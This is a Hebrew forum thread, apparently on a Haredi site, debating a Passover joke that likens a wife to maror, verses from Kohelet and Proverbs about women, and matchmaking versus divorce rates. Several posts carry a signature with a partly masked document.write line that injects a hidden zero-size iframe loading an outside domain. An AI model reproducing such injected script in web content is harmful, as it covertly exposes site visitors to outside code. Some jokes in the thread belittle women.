|
|
| נשלח ב-29/3/2015 16:35 |
 |
| |
אני התכוונתי לבאר את מה שאמרת
שהנשים משלימות את קושי השיעבוד שחסר ממצרים
|
|
|
|
| נשלח ב-29/3/2015 17:43 |
|
| |
אם הציטוט אמין, הוא מפליא, בלשון המעטה.
בליל הסדר להשתמש במטאפורה כזו?
פשוט הוא שאין ראוי להתבטא כן. ואף מתבקש לתהות אם מי שחיבר את החידוד (=בדיחה) הזה לא סבל בבעיות שלום בית כפי שמכנים זאת היום.
עם זאת, עצם הלימוד יש בו ממש.
היחסים בין איש לאשה אינם תמיד חלקים וקלים. וככל שאוהבים מישהו, כך אפשר לחוש ממנו פגיעה. צריך בגרות כדי לקבל את הזולת. כוונתי כאן לא לזוגות שבהם אכן יש עימות וחיים קשים בין אשה לבעלה, אלא למהותו העקרונית של קשר זוגי. אהבה יכולה להוביל לעימות. וכן מצאנו שמספר אחד התנאים שרבי עקיבא היה לוקה על ידו ומוסיף אהבה על אהבתו שכן הבין שכוונתו לשמים. הווה אומר: גם כוונה לשמים יכולה להביא לויכוח, כעס, הלקאה. שלא לומר שמי שאוהב ואינו זוכה לאהבה שכנגד הרי אלו ייסורים קשים ביותר, כפי שיודע כל מי שאהב ונדחה (ומי שלא, יכול לקרוא בספרות... אם כי לא ספרות חרדית).
אבל לעשות מזה משל בליל הפסח? תמהני. ישתקע הדבר ולא ייאמר, ויישאר רק אשכול לדיון תיאורטי כיצד המסורת קולטת לתוכה דברים מוזרים ואינה מסוגלת לאפשר לפלוט אותם החוצה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-30/3/2015 12:00 |
|
| |
| מיימוני כתב: |  | | המסורת קולטת לתוכה דברים מוזרים ואינה מסוגלת לאפשר לפלוט אותם החוצה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
המסורת קלטה את זה לתוכה? מתי בפעם האחרונה הצבעת על אשתך באמרך מרור זה?
לגבי המקור של הבדיחה, לשון הפסוק ומוצא אני מר ממוות את האשה אשר היא מצודים וחרמים ליבה אסורים ידיה טוב לפני האלוקים ימלט ממנה וחוטא ילכד בה. (קהלת ז,כו)
נראה שקוהלת לא התייחס כאן למין הנשי כשלעצמו אלא לאשה ממבטו של הגבר. כלומר, בשבילנו הגברים, האשה היא מרה ממוות, מצודים וחרמים, וכו'. זאת נוכל לראות מהכתוב המקביל במשלי להצילך מאשה זרה, מנכריה אמריה החליקה...הטתו ברוב לקחה ובחלק שפתיה הדיחתנו. הולך אחריה פתאום כשור אל טבח יבוא...עד יפלח חץ כבדו...אל ישט אל דרכיה לבך אל תתע בנתיבותיה. כי רבים חללים הפילה ועצומים כל הרוגיה. דרכי שאול ביתה יורדות אל חדרי מוות.(ז) משלי מתאר כאן בהרחבה את מה שמזכיר קהלת במשפט אחד.
כידוע, קהלת גם אומר מצא אשה מצא טוב ויפק רצון מה'. שוב מנקודת מבטו של הגבר והפעם מתברר שאשה היא אחלה בשבילנו. וגם זאת יתבאר ע''פ משלי אשת חיל מי ימצא וכו'. בקיצור, אשה יכולה להיות דבר טוב מאד לגבר ויכולה להיות דבר גרוע מאד. קהלת, כדרכו, מסתכל על אותו הדבר מכיוונים שונים.
|
|
|
|
|
| נשלח ב-30/3/2015 15:23 |
|
| |
כבדיחה- לפי רעיונו של רבי נפתלי מרופשיץ- זה הוא אמר-לא אני.
לשלמה המלך היו כמה רעיונות סותרים על האשה, ונסביר את הסתירות משלי פרק יח (כב) מָצָא אִשָּׁה מָצָא טוֹב וַיָּפֶק רָצוֹן מֵיְקֹוָק:
כש -איש בגימטריה 311 מוצא אשה-305 מצא טוב, היא יודעת שהיא פחותה ממנו.
קהלת פרק ז כו) וּמוֹצֶא אֲנִי מַר מִמָּוֶת אֶת הָאִשָּׁה אֲשֶׁר הִיא מְצוֹדִים וַחֲרָמִים לִבָּהּ אֲסוּרִים יָדֶיהָ טוֹב לִפְנֵי הָאֱלֹהִים יִמָּלֵט מִמֶּנָּה וְחוֹטֵא יִלָּכֶד בָּהּ:
אבל האשה בג' גם 311 כמו האיש וגם כך היא מתנהגת שוויון זכויות- זה מר ממות. קהלת פרק ז (כח) אֲשֶׁר עוֹד בִּקְשָׁה נַפְשִׁי וְלֹא מָצָאתִי אָדָם אֶחָד מֵאֶלֶף מָצָאתִי וְאִשָּׁה בְכָל אֵלֶּה לֹא מָצָאתִי:
ואשה= 312 אין דבר כזה אשה יותר מהאיש.
שלמה כנראה לא הכיר את הנשים של היום!
|
|
|
|
| נשלח ב-30/3/2015 15:36 |
|
| |
רב נפתלי מרופשיץ לפי המסורה נפלה לו אשה רעה,מסופר על אישתו שפעם שאלה אותו אם יודע הוא ברוח קדשו מתי היא תמות ,ענה לה מניה וביה, בערב יום טוב ,[למי שזקוק להסבר אנא ציינו זאת]על כל פנים ,יש הגדות שבו הנוסח הוא שהאשה שואלת ""מצה זו שאנו אוכלים על שום מה ?""" אני בעיניך מצה[א] או מוצה[א]? והוא לפעמים זקוק לענות מרור זה,
תוקן על ידי ביליצר ב- 30/03/2015 15:51:39
|
|
|
|
| נשלח ב-30/3/2015 15:45 |
|
| |
המקור למנהג שחוטפים את החלה מהחתן בליל החתונה, -שלא יהיה לו מוציא. רק מצה.
|
|
|
|
| נשלח ב-1/4/2015 09:11 |
|
| |
| מיימוני כתב: | | אם הציטוט אמין, הוא מפליא, בלשון המעטה.
אכן מפליא
בליל הסדר להשתמש במטאפורה כזו?
האם זה מתאים למהלך החירות בלילה זה ?
פשוט הוא שאין ראוי להתבטא כן. ואף מתבקש לתהות אם מי שחיבר את החידוד (=בדיחה) הזה לא סבל בבעיות שלום בית כפי שמכנים זאת היום.
מסתבר שכך
עם זאת, עצם הלימוד יש בו ממש.
היחסים בין איש לאשה אינם תמיד חלקים וקלים. וככל שאוהבים מישהו, כך אפשר לחוש ממנו פגיעה. צריך בגרות כדי לקבל את הזולת. כוונתי כאן לא לזוגות שבהם אכן יש עימות וחיים קשים בין אשה לבעלה, אלא למהותו העקרונית של קשר זוגי. אהבה יכולה להוביל לעימות. וכן מצאנו שמספר אחד התנאים שרבי עקיבא היה לוקה על ידו ומוסיף אהבה על אהבתו שכן הבין שכוונתו לשמים. הווה אומר: גם כוונה לשמים יכולה להביא לויכוח, כעס, הלקאה. שלא לומר שמי שאוהב ואינו זוכה לאהבה שכנגד הרי אלו ייסורים קשים ביותר, כפי שיודע כל מי שאהב ונדחה (ומי שלא, יכול לקרוא בספרות... אם כי לא ספרות חרדית).
יש כאלו שמשלימים עם בן הזוג גם אם זה לא מה שביקש לעצמו
אבל לעשות מזה משל בליל הפסח? תמהני. ישתקע הדבר ולא ייאמר, ויישאר רק אשכול לדיון תיאורטי כיצד המסורת קולטת לתוכה דברים מוזרים ואינה מסוגלת לאפשר לפלוט אותם החוצה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
|
|
|
|
|
| נשלח ב-1/4/2015 10:56 |
|
| |
שמעתי סיפור על המהרי"ל דיסקין (מרבני ירושלים במאה ה-19) שהיה ידוע בשנינותו ובשנינות אשתו הרבנית שרה. ערב פסח אחד בביטול חמץ הוא אמר: כל חמירא וחמיעא דאיכא ברשותי וכו' הצביע על אישתו הרבנית ואמר "חוץ מחמץ זה שאין לו תקנה". על זה השיבה הרבנית ש"חמץ זה אינו צריך תקנה, כי כבר קדמך אבא ומכרו לגוי"...
|
|
|
|
| נשלח ב-1/4/2015 11:10 |
|
| |
[למי שזקוק להסבר אנא ציינו זאת]על כל פנים ,יש הגדות שבו הנוסח הוא שהאשה שואלת ""מצה זו שאנו אוכלים על שום מה ?""" אני בעיניך מצה[א] או מוצה[א]? והוא לפעמים זקוק לענות מרור זה,
/quote
מדובר בהמצאה כמובן,
|
|
|
|
| נשלח ב-2/4/2015 08:57 |
|
| |
וכבר התבאר שאלו שמוצאים את השידוך בעצמם זה מביא למר ממוות
מוצא ''אני'' אם אני בעצמי מצאתי את השידוך בלי שדכן
סופו שיהיה מר ממוות את האשה
|
|
|
|
| נשלח ב-2/4/2015 11:59 |
|
| |
אייזין
רעיון מבריק!
השאלה היא אמפירית. האם באמת יש הצלחות רבות בדגם השידוך דרך שדכן וכשלים בדגם של הכרות עצמית ועצמאית.
אני מניח שיש לך נתונים כדי לגבות את דבריך ותשמח לשתפנו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-2/4/2015 12:38 |
|
| |
הרעיון הוא חסידי-גור- והוא אינו מבריק כלל וכלל.
ה' שידך את חוה לאדם, והוא הטיח בשדכו האשה אשר נתת עימדי היא ...
|
|
|
|
| נשלח ב-3/4/2015 13:09 |
|
| |
המציאות בשטח הוא המדד הטוב ביותר
רוב מקרי הגירושין הם אחרי שהכירו
ויצאו ביחד תקופה ארוכה
אלו שהכירו בשידוך אחוזי הגירושין קטנים בהרבה
|
|
|
|
| נשלח ב-3/4/2015 18:10 |
|
| |
| אייזין כתב: | | המציאות בשטח הוא המדד הטוב ביותר
רוב מקרי הגירושין הם אחרי שהכירו
ויצאו ביחד תקופה ארוכה
אלו שהכירו בשידוך אחוזי הגירושין קטנים בהרבה |
|
אולם, זכור כי בחברה בה זוגות נפגשים בשידוך יש נורמות של נישואין, זוגיות וגירושים שהן שונות מהנורמות של חברה בה זוגות נפגשים עצמאית, או "יוצאים" לתקופה ארוכה. אין זה נכון לתלות צירוף מקרים כתוצאה. דוגמה יש כאן, ראיה אין כאן.
|
|
|
|
| נשלח ב-5/4/2015 08:43 |
|
| |
ישי ישראל
כמדומה שטרם ברכתיך כיאות על הצטרפותך. ברוך הבא!
ואני מסכים מאד עם החילוק שהצעת לאייזין.
זוגיות נוצרת בצורות שונות. לפעמים מתוך נישואין שמתוך הסכמה ושידוך. לפעמים מתוך תחושת אהבה. האופן הראשון אופייני לציבור שלנו החרדי. האופן השני אופייני לציבור שבו החיים פתוחים יותר ויש קשרים שנוצרים מעצמם בין בני זוג.
אבל זוגיות לא תמיד מחזיקה מעצמה. במיוחד אם בני הזוג בוחרים להם כיוונים שונים, כפי שיכול לקרות מבחירות של מקצוע, לימודים, עיסוקים, או התנגשות של טעמים שלעולם לא יהיו משותפים לגמרי. לפיכך, כפי שזוגיות יכולה להתחזק, היא יכולה להחלש.
אפשר שבציבור החרדי יש פחות הזדמנויות להחלשת זוגיות, ועל כל פנים סגנון החיים - עד היום - היה שונה מספיק ולכן איפשר הידוק של הזוגיות. יתכן גם שיש תחושת מחוייבות ששומרת על הזוגיות. מעל לכל, כאשר יש אי הסכמות בין בני זוג, באופן בלתי נמנע, יש דרכים לפתרון.
אחד הדברים הראשונים שישאל מומחה לשלום בית שמוזעק לעזור לזוג במשבר הוא: האם יש להם רב. האם יש להם דמות סמכותית שאיתו הם מתייעצים. (לא טענתי שכל הרבנים או כל מי שמוכרים ככאלו הם באמת חכמים או צודקים, אבל זה סביר שהם אמורים להבין בתחום או שלא יפנו אליהם כל כך). כאשר יש מערכת חיצונית להסדרת אי הסכמות, הן פוחתות, וקל יותר לשמור על הזוגיות ולמנוע עימותים שמחלישים אותה.
כמו כן, בשנים האחרונות דומה שיש פחות רתיעה מפרידה. תרבותית, נראה שהתפיסה גם אצלנו וגם באומות העולם היתה שהילדים יגדלו, ימצאו זיווג, יתחתנו, וזה האופן שבו ראוי לנהל חיים. ככל שמתרבים מקרי פירוד, כך נחלשת המחוייבות גם אצל אלו שנשארים נשואים. זו בחירה, זו לא חובה. זה יכול לקרות, זה לא חייב להיות. על סמך גישות כאלו, מסתבר שקל יותר לנתק קשרים, או שהם מתנתקים כמעט מעצמם אם לא מטפחים אותם.
הווה אומר שהסיבה לפירוד מהיר יותר אינה חולשת הקשר הראשוני אלא אי שמירה עליו והעדר מחוייבות לשמירה עליו.
|
|
|
|
|
|
